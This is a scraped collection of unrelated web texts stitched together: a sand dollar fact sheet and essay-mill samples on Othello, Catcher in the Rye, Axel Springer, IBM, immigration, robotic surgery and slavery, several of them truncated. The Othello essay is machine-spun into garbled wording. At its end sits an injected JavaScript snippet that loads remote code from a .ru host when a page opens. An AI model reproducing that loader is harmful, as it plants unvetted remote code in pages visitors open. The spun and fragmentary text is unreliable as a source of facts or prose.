Amazing Sand Dollar Facts

A sand dollar (Echinarachnius parma) is an echinoid, a type of invertebrate animal whose skeletons—called tests—are commonly found on beaches the world over. The test is usually white or grayish-white, with a star-shaped marking in its center. The common name for these animals comes from their likeness to silver dollars. When they are alive, sand dollars look much different. They are covered with short, velvety spines that  are colored purple to reddish brown. Fast Facts: Sand Dollar Scientific Name: Echinarachnius parmaCommon Name(s): Common sand dollar or northern sand dollar; also known as sea cookies, snapper biscuits, sand cakes, cake urchins, or pansy shellsBasic Animal Group: InvertebrateSize: Live adult animals measure between 2–4 inches in diameter, and approximately 1/3 inch thick  Lifespan: 8–10 yearsDiet:  CarnivoreHabitat: Northern parts of the Atlantic and Pacific oceansPopulation: UnknownConservation Status: Not evaluated Description Living animals of the common sand dollar (Echinarachnius parma) species are generally sub-circular, measuring approximately 2–4 inches across, and are coated with spines that are purple, reddish-purple or brown in color. The test of the sand dollar is its endoskeleton—it is called an endoskeleton because it lies underneath the sand dollars  spines and skin, and it is made of fused calcareous plates. This is different than the skeletons of other echinoderms—sea stars, basket stars, and brittle stars have smaller plates that are flexible, and the skeleton of sea cucumbers is made up of tiny ossicles buried in the body. The top (aboral) surface of the sand dollar test  has a pattern that looks like five petals. There are five sets of tube feet that extend from these petals, which the sand dollar uses for respiration. The sand dollars anus is located at the rear of the animal—found in the edge of the test below the single vertical line extending from the center of the star. Sand dollars move by using the spines located on their underside.   Daniela Duncan / Getty Images Species Sand dollars are echinoderms, which means like sea stars, sea cucumbers, and sea urchins, they have a radiating arrangement of parts and a body wall stiffened by bony pieces such as spines. In fact, they are basically flat sea urchins and are in the same class, Echinoidea, as sea urchins. This class is divided into two groups: the regular echinoids (sea urchins and pencil urchins) and irregular echinoids (heart urchins, sea biscuits, and sand dollars). The irregular echinoids have a front, a back and basic bilateral symmetry on top of the normal pentameral symmetry (five parts around a center) that regular echinoids possess.   There are many species  of sand dollars. Besides E. parma, those found commonly in the United States include: Dendraster excentricus  (Eccentric, western, or Pacific sand dollar) are found in the Pacific Ocean from Alaska to Baja, California. These sand dollars grow to about 4 inches across and have gray, purple or blackish spines.Clypeaster subdepressus  (Sand dollar, sea biscuit) live in the Atlantic Ocean and the Caribbean Sea, from the Carolinas to Brazil.  Mellita sp. (Keyhole sand dollars or keyhole urchins) are found in tropical waters in the Atlantic, Pacific, and the Caribbean Sea. There are approximately 11 species of keyhole sand dollars. Sand dollars are classified as follows: Kingdom: AnimaliaPhylum: EchinodermataClass:  Clypeasteroida (includes sand dollars and sea biscuits) Habitat and Distribution Common sand dollars have been found throughout the North Pacific and eastern North Atlantic oceans, at locations from just below the intertidal zone to more than 7,000 feet.  As their name suggests, sand dollars prefer to live in the sand, in densities ranging between .5 and 215 per 10.7 square foot. They use their spines to burrow into the sand, where they seek protection and food.  Adult sand dollars—those over 2 inches in diameter—live in the intertidal zone. Most sand dollars live in seawater (saline environments), although some species do occur in estuarine habitats which combine of river and lake water, and are chemically distinct from saline or freshwater environments. Studies show that sand dollars require a certain level of salinity to fertilize their eggs. The sand dollar uses its spines to burrow into sand. Douglas Klug / Getty Images Diet and Behavior Sand dollars feed on small food particles in the sand, typically microscopically sized algae, but they do also eat fragments of other animals and have been classed as carnivores according to the World Register of Marine Species. The particles land on the spines, and then are transported to the sand dollars mouth by its tube feet, pedicellaria (pincers), and mucous-coated cilia. Some sea urchins rest on their edges in the sand to maximize their ability to catch prey that is floating by.   Like other sea urchins, the mouth of a sand dollar is called Aristotles lantern and is made up of five jaws. If you pick up a sand dollar test and shake it gently, you may hear the pieces of the mouth rattling inside. Reproduction and Offspring There are male and female sand dollars, although, from the outside, it is difficult to tell which is which. Reproduction is sexual and accomplished by the sand dollars releasing eggs and sperm into the water. The fertilized eggs are yellow in color and coated in a protective jelly, with an average diameter of about 135 micros, or 1/500th of an inch. They develop into tiny larvae, which feed and move using cilia. After several weeks, the larva settles to the bottom, where it metamorphoses. Juveniles (under 2 inches in diameter) are found in the subtidal zones and slowly migrate into exposed beach areas as they mature; the smallest are found in the highest beach elevations. They can bury themselves in the sand up to two inches deep, and very dense populations can stack themselves up to three animals deep. Threats Sand dollars may be affected by fishing, especially from bottom trawling, ocean acidification, which may affect the ability to form the test;  climate change, which might affect available habitat; and collection. Reduced salinity lowers fertilization rates. Although you can find plenty of information on how to preserve sand dollars, you should collect only dead sand dollars, never live ones. Sand dollars are not eaten by humans, but they can be prey for sea stars, fish, and crabs. Conservation Status The sand dollar is not currently listed as an endangered species. Sand Dollars and Humans Sand dollar tests are sold in shell shops and on the internet, for decorative purposes or souvenirs and often with a card or inscription referencing the  Legend of the Sand Dollar. Such references are associated with Christian mythology, suggesting that the five-pointed star in the center of the top of the sand dollars test is a representation of the Star of Bethlehem that guided the wise men to the baby Jesus. The five openings in the test are said to represent Jesuss wounds during his crucifixion: the four wounds in his hands and feet and the fifth in his side. On the underside of the sand dollar test, it is said that there is an outline of a Christmas poinsettia; and if you break it open, you will find five small bones that represent doves of peace. These doves are actually the five jaws of the sand dollars mouth (Aristotles lantern).   Other lore about sand dollars references the washed-up tests as mermaid coins or coins from Atlantis. Sources Allen, Jonathan D., and Jan A. Pechenik. Understanding the Effects of Low Salinity on Fertilization Success and Early Development in the Sand Dollar Echinarachnius Parma. The Biological Bulletin 218 (2010): 189–99. Print.Brown, Christopher L. Substrate Preference and Test Morphology of a Sand Dollar (Echinarachnius Parma) Population in the Gulf of Maine. Bios 54.4 (1983): 246–54. Print.Coulombe, Deborah. Seaside Naturalist: A Guide to Study at the Seashore. Simon Schuster, 1980..Echinarachnius parma (Lamarck, 1816). World Register of Marine Species.Echinarachnius parma (Lamarck 1816). Encyclopedia of Life.  Ellers, Olaf, and Malcolm Telford. Collection of Food by Oral Surface Podia in the Sand Dollar, Echinarachnius Parma (Lamarck). The Biological Bulletin 166.3 (1984): 574–82. Print.Harold, Antony S., and Malcolm Telford. Substrate Preference and Distribution of the Northern Sand Dollar, Echinarachnius Parma (Lamarck). International Echinoderms Conference. Ed . Lawrence, J.M.: A.A. Balkema, 1982. Print.Kroh, Andreas. Clypeasteroida. World Echinoidea Database, 2013.Pellissier, Hank. Local Intelligence: Sand Dollars. The New York Times, January 8, 2011. Smith, Andrew. B. Skeletal morphology of sand dollars and their relatives. The Echinoid Directory. Waggoner, Ben. Introduction to the Echinoidea. University of California Museum of Paleontology, 2001.

The Ethics Of Animal Testing - 3440 Words

Table of Contents Introduction 2 Chapter 1 – Agree with animal experiments 3 Introduction 3 Safety 3 Great contribution of animal experiments 5 Chapter 2 – Against Animal experiments 7 Introduction 7 Experiment animals have rights 7 Scientific Limitations of Using Animals 10 Conclusion 12 Reference 13 Table of figures Figure 1 – Chimpanzees are trained to be astronauts. 6 Figure 2 – monkey cages covered with waste and feces 8 Figure 3 – disabled monkeys 9 Introduction Animal experiments or laboratory animal science have been a popular controversial issue. Since the seventeenth century, there are debates on the ethics of animal testing. The ultimate goal of the development of laboratory animal science, that is, through the animal studies of the phenomenon of life itself, and then push the use of human, explore the mysteries of human life, control of human diseases and aging and prolong human life. Nowadays, Animal experiments are permitted in many countries. In the other hand, there are also many dissenting voices. They said animal testing is ‘inhumane’. It is too cruel and has potentially dangerous to human beings and Ecosystem. However, Animal experiments are generally used in the development and testing of new medicines. It is estimated worldwide that the number of vertebrate animals using for animal experiments ranges from the tens of millions to more than 100 million used annually. And Animal experiment had made a great contributi on in the field of science,Show MoreRelatedEthics of Animal Testing754 Words   |  3 PagesEthics of Animal Testing For my paper I chose the topic of animal testing because I have always been very passionate for animals and against animal abuse. I have never believed in animal testing and that there were always other alternatives. I wanted to look further into and educate myself about what is being done about this and why it is an ethical issue. I have come up with an axiom to summarize this topic. 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Integrated Business Experience 1

Question: Discuss about the Integrated Business Experience 1. Answer: Introduction This assignment is based on the case study of Axel Springer, which has achieved huge success during the digital media transformation. This assignment discusses on the key strategic action taken by the CEO of Axel Springer during the period of digital transformation. At the same time, the assignment also focuses on the strategic issues faced by the company. Apart from that, the discussion on the competitors and companys strategic position has also been carried on in this assignment. Key strategic action taken by Mathias Dopfner During the period of digital transformation of print media, Mathias Dopfner, the CEO of Axel Springer took a unique strategic action, which included the process of two-stage digital transformation. In the first stage, the company took on the organic growth strategy that focused on increasing profitability and involving the process of digitization in to the culture of the organization. On the other hand, in second stage, the company took the strategy to be The Leading Digital Publisher within the industry. The digital transformation strategy took by Axel Springer was quite different from the strategies taken by the other companies in the same industry. The main difference between the strategies taken by Axel Springer and other organizations is that Axel Springer focused specially on its contents and team spirit, while, the other organizations focused specially on the distribution channels (KljajiĆ¡ and KljajiĆ¡ 2015). In 2013 to 2014, the digital transformation of Axel Springer achieved huge success within the industry. The success started on 2013, when the revenue of the company reached to $3.9 billion and EBITDA reached to $625 million. During 2014, the business of the company expanded to 44 countries and had 98 million digital visitors I worldwide basis. In 2014, it acquired many new assets and the company achieved new strategic opportunities in the international market. The main reasons behind this huge success were its strategies to accept entrepreneurial and diverse personalities, digital divisions and rejection of silos (Knoche 2015). Strategic issues faced by Axel Springer The major strategic issues that Axel Springer faces are as follows: The first issue that the organization faced is that the company fails to provide the updated news consistently. At the same time, the company does not provide the layer of stories. The company focuses more on the process of installing and transforming the print mentality to digital mentality (Vidas-Bubanja and Bubanja 2015). Another issue was regarding the expansion of business. Though the company had large coverage, still it fails to develop its business by acquiring new assets at reasonable price. The competitive market increased the value of the assets, which created a big trouble for the company to continue its business expansion (KljajiĆ¡ and KljajiĆ¡ 2015). Both of the above-mentioned issues are the strategic issue because these are related to the business operation strategy. In case of the first issue, it is related to the strategies taken by the company regarding its news contents. On the other side, in case of the second issue, it is related to the business expansion strategy of the company (Herbert 2015). These two above-mentioned strategic issues affected the business of the company. As the company failed to provide updated news on a regular basis, the interests of the customers has reduced and if it goes on, then in future, the company will lose a large number of customers. At the same time, if the company fails to expand its business by acquiring new assets, then it will be more difficult for the company to expand its business in future because the value and price of the assets may increase more (KljajiĆ¡ and KljajiĆ¡ 2015). Due to this, the company will not be able to compete with the large companies in the industry. In order to configure the issue, at first the company needs to focus on the quality of its news. The news must be updated and as per the demand of the people. At the same time, the company needs to take improved strategies other than Idealos and KaufDA for expanding its business. Type of competitors Beyond 2014, the new technology experts are in the best position to take advantage in the evolving digital world. The main reason behind this is the new technology experts have the knowledge and expertise is using advanced technology of digital media (Knoche 2015). For example, Google and Apple use advanced technology to provide the most updated news to the public as soon as possible. At the same time, the new technology experts can produce the contents as per the evolving demand of the customers. They are able to accept the change quickly. With the help of the RACE planning framework, the new technology experts can reach to huge number of customers (Hayles 2012). However, the old media content experts are not much flexible with the advanced technology. Though they are good in producing branded or rich contents, they are not efficient in accepting the rapid change in the market demand. Strategic position of Axel Springer In future, Axel Springer must be at the leading position in the marketplace. In order to achieve the leading market position, the company needs to take the following strategies: Recommendation for question 1: Axel Springer must maintain the diverse personalities, entrepreneur skills, digital divisions, and rejection of silos Recommendation for question 2: Always provide the updated news to the people. The company must change its quality of the contents and the contents must be as per the new demand in the market. Recommendation for question 3: The Company can reduce its production cost by introducing advanced technology Recommendation for question 4: In order to achieve the leading market position, the company must have the distinctive competencies like, innovative marketing, advanced but simple technology and large customer base. Conclusion In this assignment, it has identified that Axel Springer was one of the leading companies in print media until 2014. After 2014, the company started to face several strategic issues. Due to this, the company failed to improve its performance and expand its business further. The company needs to improve its content quality and introduce advanced technologies to get back the leading market position in future. Reference list: Hayles, N.K., 2012.How we think: Digital media and contemporary technogenesis. University of Chicago Press. Herbert, J., 2015.Journalism in the digital age: theory and practice for broadcast, print and online media. CRC Press. KljajiĆ¡, V. and KljajiĆ¡, M., 2015. Printed Vs On-Line Media And Challenges For Editorial Concepts: Examples Of News Magazines In Serbia.Socioloski Pregled,49(1). Knoche, M., 2015. The Media Industrys Structural Transformation in Capitalism and the Role of the State: Media Economics in the Age of Digital Communications.tripleC: Communication, Capitalism Critique. Open Access Journal for a Global Sustainable Information Society,14(1), pp.18-47. Vidas-Bubanja, M. and Bubanja, I., 2015. Competitive management strategy for print media advertising activities.Journal of Engineering Management and Competitiveness (JEMC),5(2), pp.68-76.

Othello Essay Research Paper A villain is free essay sample

Othello Essay, Research Paper A scoundrel is a character who uses his good name, rank, or the trust that people have for him to acquire what he wants at any cost. He normally manipulates everyone, and decease normally come to the scoundrel. He is good liked by every character, which allows him to draw off his fast ones so good and easy. He uses his friendly relationship with Othello to acquire what he wants, which is the rank of lieutenant. Iago somehow finds his manner into about every character s life and some of those characters end up dead. Throughout the class of the drama, he manipulates the head of Roderigo, doing him believe that Desdemona really has feelings for him, doing Roderigo to transport out rough actions which, under normal fortunes, he would neer see. Iago besides gets in Othello s caput and puts in the idea of Desdemona being unfaithful with Cassio. There are many more illustrations of Iago s villainousness throughout the drama. Iago s chief end throughout the drama is to someway obtain the rank of lieutenant, which he feels should hold been given to him alternatively of his friend Cassio. He begins by stating Roderigo that Desdemona, at some point, had feelings for him, that is, before she married Othello. Roderigo is heartbroken, and Iago sees his chance Begin to open up. Iago tells Roderigo to get the better of thy favour with an usurped face fungus ( 1.3. 328-329 ) and so return to Venice subsequently because Desdemona will hold lost her love for Othello. This excites Roderigo, so he believes Iago since they are good friends. Iago is now merely puting up Roderigo for another portion of his program that will take topographic point subsequently in the narrative. Roderigo does non recognize how profoundly involved Desdemona and Othello are, so he still believes he has a opportunity to hold Desdemona, if she of all time truly does tyre of Othello. Iago and Othello are really near in their friendly relationship, even though Othello chose Cassio over Iago as his lieutenant. Othello believes about anything Iago tells him because Iago has a repute of ever stating the truth. That is why Othello really begins to believe in this narrative that his married woman has non been faithful to him. Iago gets Emilia, his married woman and besides attender to Desdemona, to pick up a hankie that has been passed down from coevals to coevals in Othello s household. It represents the love that the hubby shows for his married woman, and it means a great trade to Othello. When Iago says that he has seen Cassio pass over his face fungus with that hankie, Othello makes his head up that his married woman has cheated gt ; on him. But what truly sets Othello off is when he sees Cassio transporting the hankie about. Iago says make it non with toxicant, strangle her in bed, even the bed she hath contaminated ( 4.1. 190-191 ) when stating Othello that he should kill Desdemona for what she has done. Iago now knows his program is working since Othello is really sing killing his married woman. One eventide, Iago gets Cassio rummy before he is to guard the palace. Cassio Tells Iago that I have really hapless and unhappy encephalons for imbibing. I could good wish courtesy would contrive some other usage of amusement ( 2.3. 27-29 ) because he knows he tilt imbibe a batch or he will acquire angry and violent. But this is what Iago wants so he pushed him to imbibe more and Cassio does. Soon a battle breaks out and gets out of manus so Othello enters. When honest Iago tells Othello what happened, Othello has no pick but to strip Cassio of his ranking and give it to Iago. When Iago is appointed lieutenant, he spends even more clip with the Moor and becomes a better friend to both Othello and Desdemona. Othello asks Iago how shall I slay him ( 4.1. 158 ) . Stating that he wants Cassio killed one dark, the same dark Othello is to kill Desdemona. This is the opportunity Iago has to take attention of both Roderigo and Cassio, so he has it set up to where they have a battle in the dark streets. Iago runs out of the shadows and onslaughts Cassio from behind without anyone seeing it, but Roderigo is struck with a fatal blow that kills him subsequently. The program between Othello and Iago was supposed to hold Cassio dead before Desdemona, but Othello smothered her before he received intelligence that Cassio was still alive. This is the terminal of Iago s villainousness. When Cassio and Othello meet, everyone is made cognizant of Iago s secret plan and Othello ends up killing himself and falling by his married woman side but Tells Cassio non to hold Iago killed so he can populate with the load on his chest the remainder of his life. The villainousness of Iago showed was great in the sense that he had an luxuriant program, utilizing every character in the narrative and pull stringsing their heads to the point where everyone was believing prevarications. He did all of this so that he could acquire what he wanted. However, he failed to transport out one action as he had planned and that ruined his life everlastingly. The villainousness of Iago did do a batch of desperation and cost many characters their lives, but that is what a scoundrel is. Villains do non care who they hurt or how they get at that place manner, merely every bit long as is happens and they are happy. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Holden and Phoebe Essay Example

Holden and Phoebe Paper In a frenzy of sadness and frustration on the night that Allele died, Holder smashed all the windows in his garage with his bare fists. I was only thirteen, and they were going to have me psychoanalysis and all, because I broke all the windows in the garage. I dont blame them. I really dont. I slept in the garage the night he died, and I broke all the goddamn windows with my first Just for the hell of it. My hand still hurts me once in a while, when it rains and all, and I cant make a real fist any more Although Holder is innocent, he is not naive. Society has affected him to the extent that he is aware of the cost of things, but wastes his money on taxis, as he wants to avoid the phones on buses. He refers to the value of his coat, his cases, his typewriter and even his pens, but he does not cherish his possessions as he gives his typewriter away and lends his coat to Seedeater. When his gloves were stolen, the only thing he cared about was that he became cold. When he was a child he lost his belongings so now as a teenager he fails to take his change and hates people ho spend time at posh restaurants and popular bars; yet there is a hypocritical side to him which makes him take taxis, go to bars, cinemas and theatres, and stay in hotels. Society has taken everything from Holder, both of his brothers presence and his parents Seedeater borrows all he owns, his clothes and even the girl he loves. His possessions are stolen at school. Because of all of this, he feels he must reject society. It is not surprising that he feels he must turn to children; after all, they are a symbol of innocence, and they have not rejected him. He says that he would like to e The Catcher in the Rye, who is a fictional character in a Burns poem, who stops children running off the edge off cliff whilst playing in rye fields. We will write a custom essay sample on Holden and Phoebe specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Holden and Phoebe specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Holden and Phoebe specifically for you FOR ONLY $16.38 $13.9/page Hire Writer This analogy epitomizes the only future Holder can see for himself. Phoebe is the only person Holder trusts. Her sanity and naturalness restores confidence of society in Holder. Due to his love from Phoebe a complete breakdown by the pond, and from a pointless escape later. Holder hates hypocrites and phones, but meets few people who are honest, so he generalizes and says there are phones all around him, another thing that makes IM an outcast of society. Even his teachers are phones; Mr. Spencer acts in front of the headmaster, and the headmaster performs in front of the rich parents and Mr. Anatolian appears to have crooked morals. Holders parents are absent in his life, his dad is a lawyer who is very strict as seen in Daddy will kill you he also doesnt show affection towards Holder. Holders mother isnt very interested in neither his nor Phoebes lives as when she catches Phoebe smoking, as all she says is l dont like that, Phoebe. I dont like that at all. (159)

Apply Porter 5 forces to IBM

Apply Porter 5 forces to IBM With Porter five forces framework, we identify the sources of competition facing IBM:-1.Threat of new entrantsHigh capital requirement needed to fund RD and assets make the threat of new entrants relatively low. IBM spends large amount of funds annually for RD, in order to constantly introduce new high-technology and innovative products and solutions to market to maintain its' competitiveness,Tougher for new entrants to achieve economies of scale due to experience curve effect. In addition, Consumers' preference over established brands, long-term relationship and broad product portfolio make IBM the preferred brand.2.Threat of SubstitutesPropensity to substitute is low for buyers. Threat varies from low to medium with high switching cost and product differentiation such as technology, performance, functionality etc.3. Bargaining power of buyersBargaining power is high during sourcing stage. However, buyers' bargaining power decrease after the purchase stage as switching cost is high with compatibility concerns, migration issues and cost of hardware/software."HP"-Garage in Palo Alto4.Bargaining power of suppliersSuppliers' bargaining power is low for the industry, IBM maintains a diversity of suppliers.5.Intensity of rivalry among established firmsAfter several years of contraction, the global IT industry returns to growth. The competition in the industry is intense with big boys like Microsoft, Dell, Hewlett-Packard and Sun Microsystems with diversified capabilities.Gerry Johnson, Kevin Scholes and Richard Whittington (2005), Exploring Corporate Strategy - Text and Cases, 7th edition, Harlow : FT/Prentice Hall.IBM Corporation, available online from ibm.comIBM Annual report 2004, An IBM Prospectus, Understanding Our Company, available online from ibm.com/annualreport/2004/prospectus/IBM Public Affairs, available online from ibm.com/ibmIBM corporation, Government and Public Policy, available online : www.ibm.com

Facebook Investigation Scenario Essay Example | Topics and Well Written Essays - 14500 words

Facebook Investigation Scenario - Essay Example On February 17th, 2014 at 9:30 AM, I discovered that Ms. Jones was a 20-year-old criminal justice major at the University of New Haven. At about 8:00 AM that morning, one of Ms. Jones friends texted to ask whether she has seen Peter Sampson’s Facebook post. It was at this point that I confirmed the post to be true. Ms. Jones stated that she had â€Å"sexted† the picture MR. Sampson back in the fall of 2012 when they had just begun dating. Upon further investigation, Ms. Jones explained her dating relationship with Mr. Sampson and she had broken off their engagement with Mr. Sampson. She said that it was after breaking off her engagement weeks earlier that she began dating Michael Davis who happened to be Mr. Sampson’s roommate. Ms. Jones, therefore, felt that it was due to these relationship issues that Mr. Sampson decided to post the picture. On February 17th, 2014 at 2:45 PM I also discovered that Peter Sampson was a 21-year-old criminal justice major in his junior in the same university. During an interview in Mr. Sampson’s dorm room, Mr. Sampson confirmed his relationship with Ms. Jones as well as the breakup. However, he denied having anything to do with the posting and commenting on the picture on Facebook. Mr. Sampson started that in his discovery of Ms. Jones with Mr. Davis, he deleted all digital photos as well as the correspondence between him and Ms. Jones. Mr. Jones further claimed to have used his Toshiba laptop which no one else had had access to over the past 24-hour period.

Strain Theory Thesis Example | Topics and Well Written Essays - 3500 words

Strain Theory - Thesis Example It is therefore critical that criminology as a social issue is given multidimensional approach that will consider various observed behaviors. The social environment is significant in influencing the behavior and conduct of individuals and this explain crime rate differences across gender. While studying the crime theory, it would be important to highlight such social parameters that influence behavior outcomes in people. In this case strain theory would serve as an important theory to unveil the causes of crime in the society. In various disciplines there are theories that explain a given phenomenon and criminology is not exceptional. Many scholars and researchers have diverse definition of theory but the common denominator is the aggregate application in explain any observed phenomenon in the society. Theory is generally a set of principles that are devised to explain a group of facts. It emphasizes proof of ideas behind principles that have repeatedly been tested and widely accepted as responsible for a given phenomenon. In regard to strain theory, it explains the factors that push an individual to develop criminal behavior in the society (Agnew, 2006). Although each man is born free, the emerging character is shaped by many external environment factors and this serves even crime mind development. Criminological theory plays a central role as far as understanding of crime is concerned. Past research indicates that criminology theory explains the forces behind emotional and psychological transformation t hat shapes a criminal mind. There are incidences across the world where people commit outrageous crimes that one can never imagine of. The mitigation measures towards reoccurrence of such criminal acts require understanding of theory of criminology. Development of theory constitutes critical analysis of a given phenomenon by establishing the variables and their relationship. Such relationship among variables must be taken through a

Dupont Analysis Assignment Example | Topics and Well Written Essays - 1500 words

Dupont Analysis - Assignment Example HZO is, however, performing well in leverage with only 1.70%, as can be seen in table 1 below (Annual Report: MarineMax Inc., 2014) WMAR is the least preferred stock from the investor’s viewpoint due to the lowest return on equity of just 0.13%. The firm’s ROE is affected due to its low profit margin of 0.06%. The high operating expenses of the company have suppressed profits of the company that have eventually casted a negative impact on its ROE. The company needs to have strict control measures in this area. Equity multiplier is the weakest indicator of WMAR with the lowest in industry at 1.32% as can be seen in the table 1. As seen in the table below, HOG is performing best in terms of operating efficiency with the highest profit margin of 15.18%, which is the main element contributing towards its high return on equity of 27.43%. HOG is, however, required to give attention to its asset management, specifically to managing its receivables, which are overall affecting the company’s performance and returns and causing them to be below than expected (Annual Report: Harley Davidson Inc., 2014). KMX is also performing average in terms of the profit margin and currently, it is the best in asset management among its competitors, which makes its returns attractive at 16.20% as shown in the table 1. Improvement is required in the leverage position of the company as it is relying heavily on debt financing. Annual Report: Carmax Inc. (2012); Annual Report: Carmax Inc. (2013); Annual Report: Carmax Inc. (2014); Annual Report: Harley Davidson Inc. (2012); Annual Report: Harley Davidson Inc. (2013); Annual Report: Harley Davidson Inc. (2014); Annual Report: MarineMax Inc. (2012); Annual Report: MarineMax Inc. (2013); Annual Report: MarineMax Inc. (2014); Annual Report: West Marine Inc. (2012); Annual Report: West Marine Inc. (2013); Annual Report: West Marine Inc.

A Study On Immigration Case Study Social Policy Essay

A Study On Immigration Case Study Social Policy Essay Using the very large variation in the inflow of immigration across the states of US and other countries states we examine the force of immigration employment, average working hours, money growth and one most important, the total factors efficiency. At the same time we find striking proof that the total factors of increased productivity. These are some of the very robust reasons of controlling for many other determinants of efficiency that may vary with topography such as RD expenditure, computer implementation, international rivalry in the form of sectors composition and exports. Thus many results suggest that immigration promotes efficiency task specialization and at the same time promotes the adaption of amateurish-based technology as the technological change would forecast. (Peri, November 2009) In what ways can immigration help economy? Immigration does not spoil the Economy nor does any Government lose their money because of immigrants. After all the people of the country makes more money. The common idea that money passes from government to company to clients and back again, if a minor amount of money is moved from manufactures to clients then at the same time a larger amount of money is retained. Immigrants, if accepted as general public, are entitled to benefits. Thus these people are draining over 2 billion dollars from benefits each year. However, once these people get familiar to our ways of living, then they can become very helpful members of society. A basic reality about our economy is that as long as we infuse more supplies and services than we have, the more number of jobs which is nearly limitless. In reality, when the number of workers increases, the more the number of jobs we create. Thus the total number of services and the mass of the labor power has been tracked each other then reasonably closely for 50 years despite dramatic changes in immigration flows. Its a recognized fact that many of the jobs that immigrants are taking are that jobs that Americans are not taking. But we check immigrants from taking these vacant jobs, American producers and clients suffer the cost. (Powell, Friday, January 13, 2006) Do you think economies should welcome immigration? Yes definitely the economies should welcome immigration. An instance is the recent policies adopted by countries like Spain. Suppose that if a western nation were to loosen its borders, thus leading to an overflow of immigrants into that nation, the predicted outcome would be unemployment, rise in crime, social unrest, but Spain Disagrees on these predictions. Over a period of the last ten years, Spain has taken in millions of immigrants from diverse backgrounds, but still it has emerged as the best economy in Europe. The growth average has been 3.2% since the last half decade. Spain is responsible for the creation of 50% of the new jobs in the Euro zone and even unemployment has fallen down. All these factors have been credited to immigration. Immigrants start out by taking the jobs that are unwanted by the local population. The taxes that they pay contribute for more than the public amenities they use. Not only Spain, many other countries have adopted a pro-immigration stand and the success they have achieved is a testimony to the fact that economies should welcome immigration. Immigration also leads to intermixing of societies, thus providing a gateway to the concept of â€Å"ONE WORLD†. (spain:immigrants Welcome, 2007) References Giovanni Peri. (2009). Theeffect of Immigration on productivity: Evidence from US States. NBER Working Paper(15507) Benjamin Powell. (2006).Get this straight: Immigration helps economy. Retrieved March 13, 2010. http://sacramento.bizjournals.com/sacramento/stories/2006/01/16/editorial3.html Carol Matlack, Joan Tarzian. (2002). Spain: Immigrants Welcome Retrieved March 13, 2010.http://www.businessweek.com/magazine/content/07_21/b4035066.htm

Robotics in the Medical Field Essay -- Robotic Surgery, Technology Ad

The medical field has revolutionized the health and well being of society. Throughout the decades, the medical field has been through sweeping changes that leave society astonished. It seems like each year that passes by, there is a new technological advancement that modernizes the medical field. Not only do these advancements modernize medicine, but they in return aid doctors, nurses, and specialists by improving their effectiveness within the field. About ten years ago, the da Vinci Surgical System was introduced to hospitals and the medical field, in general because the FDA had finally approved the system within the United States (Dunkin). The da Vinci Surgical System, also known basically as robotic surgery, introduced the use of a surgical robot, which is operated by the doctor himself using a controlled manipulator (Declan et al.). Prior to the invention of robot-assisted surgeries, most surgeons simply did a typical laparoscopic surgery on a patient. Laparoscopic surgery is â €Å"a type of surgery performed through several small incisions, rather than one (or more) large ones as in standard "open" surgery† (Schmitz). Through the development of superior technology, such as the surgical robot; it brought about changes that effected doctors, patients, and the medical world. A robot-assisted surgery demonstrates how far America and the whole world have come in means of technology within a particular working field. The necessity for a more superior technology within hospital settings are best supported by the development of the da Vinci Surgical System. In 1991, when the surgical system was introduced to the globe, many acknowledged that this system improved three different aspects of regular laparoscopic surgery: it gave doctor... ...y within a medical setting has stepped away from the shadows and into a brighter future with the development of the da Vinci Surgical System in the medical world. Before the surgical robot, doctors or surgeons would have had to make several incisions to their patient’s body, which would cause the patients recovery to be elongated and possibly painful. The da Vinci Surgical System allows surgeons to make smaller, less visible incisions to the patient’s body and have a better precision during the procedure. Throughout several years, surgeons relied on their typical laparoscopic surgery to be able to provide patients with the procedures that required them to make large incisions through the patient’s abdomen. Nowadays, surgeons and their patients can have a sigh of relief because the surgical robot provides surgeons with the precision that they long strived for.

End of Slavery in the United States in 1870 Essay

The article explained how slavery, which has been one of the most sensitive issues in America, came to an end in the United States after more than 250 years of human exploitation. Basically, slavery in the country began after colonists from England settled in America in 1607. Back then, the majority of the slaves were of African-American descent or blacks but some were also Native Americans as this racial basis was upheld by the courts during the 18th century (Wikipedia. org). From the 16th to the 19th century, an estimated 12 million black Africans were transferred to both North and South America and 645,000 were shipped to the United States. Although slavery is viewed as an inhuman and immoral act today, it greatly enhanced the productivity of the United States in various sectors. This was a period wherein the agricultural sector such as cotton producers blossomed and greatly contributed to the wealth of America, mainly due to the extensive labor being imposed on the African-American slaves (Wikepedia. org). However, the American Civil War, which was conflict between the Confederate states and the Federal government of the U. S or a battle between a side that favored the expansion of slavery and the side that opposed it, respectively, signaled the end of slavery. The war, which lasted from 1861 to 1865 and was the deadliest in the history of America, effectively ended slavery and led to the Reconstruction era, which saw the reunion of all states and the restoration of peace (Wikipedia. org). Moreover, the passage of Thirteenth Amendment to the U. S. Constitution in December 1865 made any form of slavery illegal. By 1870, all slaves were freed from their masters and were given due rights (Wikipedia. org) For me, slavery is one of the most inhumane acts a person could do to another human being as it is like treating him or her like some form of property. It is also highly discriminative and denies a person his or her basic rights. Considering the circumstances of the history of slavery in the United States, it was clear that one of the bases for making a person a slave is his or her skin color. Historically, almost all the slaves were non-whites or those who belong to the black race. For example, if a person is of African-American descent the rest of society back then would view him or her as someone inferior and undeserving of the rights afforded to the white race. In my view, this is a highly narrow way of viewing and treating any kind of person as a whole. The basis of judging a person should never be on the color of his or her skin. For that matter, the criteria promoting an employee and accepting an applicant to a university should also never include his or her skin color and race. It is important for society to accept the fact that the world is diverse and should not discriminate against others just because their skin color is different. Doing so would avoid the petty conflicts concerning differences in race and color that are still widespread all across the glob. Moreover, although slavery in the United States was a highly deplorable act, I believe it was an important part of the country’s history as it exposed to the entire world the harsh realities of human exploitation. It basically opened the eyes of people around the world and enabled them to build a better nation while keeping in mind the mistakes of the past. In short, the country’s bad history of slavery allowed the good things to come out. Taking everything into consideration and based on the statements and facts mentioned above, it can then be deduced that slavery, in any form or kind, is an immoral act that degrades the dignity of a person. It is important to keep in mind that the slaves, no matter what their skin color is, are still human beings and should therefore enjoy the rights that other people enjoy. The lesson learned from slavery should also apply to everyday situations of discrimination and racism, among many others. Works Cited â€Å"Slavery in the United States. † 2008. 